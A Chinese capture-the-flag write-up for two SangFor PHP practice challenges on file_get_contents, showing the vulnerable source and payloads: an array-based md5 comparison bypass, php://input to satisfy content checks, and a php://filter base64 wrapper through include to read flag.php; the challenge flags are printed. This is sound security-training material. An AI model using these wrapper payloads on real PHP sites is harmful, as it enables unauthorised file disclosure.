PHP-file_get_contents(练习1)

[题目信息]:

题目名称 题目难度
PHP-file_get_contents(练习1) 1

[题目考点]:

file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

[Flag格式]:

SangFor{31vKQPZ2RuYLWyuwBEOZyoylVTeH9G9h}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2091

[题目writeup]:

1、实验主页

2、源码分析

<?php
$p1 = @$_GET['a'];
$p2 = @$_GET['b'];
$p3 = @$_GET['c'];
$p4 = @$_GET['d'];
if(isset($_GET['a']) && isset($_GET['b']) && isset($_GET['c']) && isset($_GET['d']))
    if($p1 != $p2 && md5($p1) == md5($p2)){
        if($p3 === file_get_contents($p4)){
            echo file_get_contents("flag.php");
        }
    }
    else{
        die("请输入2个不同的值");
    }
highlight_file("index.php"); 

Payload:

/?a[]=1&b[]=2&c=4&d=php://input
post:
4








[题目信息]:

题目名称 题目难度
PHP-file_get_contents 1

[题目考点]:

file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

[Flag格式]:

SangFor{jfbcGax7p5Uzgu3q}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2014

[题目writeup]:

1、实验主页

2、源码分析

<?php
error_reporting(0);
function check($file){
    $black=array("../", "..\\");
    foreach($black as $value){
        if(strstr($file, $value)){
            die("得了吧");
        }
    }

}
header("set-cookie: sourceCode.txt");
$user = $_GET["name"];
$file = $_GET["file"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the SangFor")){
echo "hello admin!<br>";
check($file);
include($file);
}
else {
echo "you are not admin ! ";
}
?>

根据源码存在两个变量,user和file。

在if条件判断中,传入一个文件且其内容为welcome to the SangFor,才可以进入判断进行下一步。

file_get_contents() 函数把整个文件读入一个字符串中。

file_get_contents()的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:

?name=php://input
POST:
welcome to the SangFor

进入if判断有执行到包含函数,则可以使用伪协议读取目标文件

/?name=php://input&file=php://filter/read=convert.base64-encode/resource=flag.php
POST:
welcome to the SangFor
相关推荐
liu_chunhai5 分钟前
设计模式(3)builder
java·开发语言·设计模式
姜学迁13 分钟前
Rust-枚举
开发语言·后端·rust
冷白白14 分钟前
【C++】C++对象初探及友元
c语言·开发语言·c++·算法
凌云行者19 分钟前
rust的迭代器方法——collect
开发语言·rust
It'sMyGo22 分钟前
Javascript数组研究09_Array.prototype[Symbol.unscopables]
开发语言·javascript·原型模式
睡觉然后上课33 分钟前
c基础面试题
c语言·开发语言·c++·面试
qing_04060340 分钟前
C++——继承
开发语言·c++·继承
武昌库里写JAVA40 分钟前
【Java】Java面试题笔试
c语言·开发语言·数据结构·算法·二维数组
ya888g41 分钟前
GESP C++四级样题卷
java·c++·算法
【D'accumulation】1 小时前
令牌主动失效机制范例(利用redis)注释分析
java·spring boot·redis·后端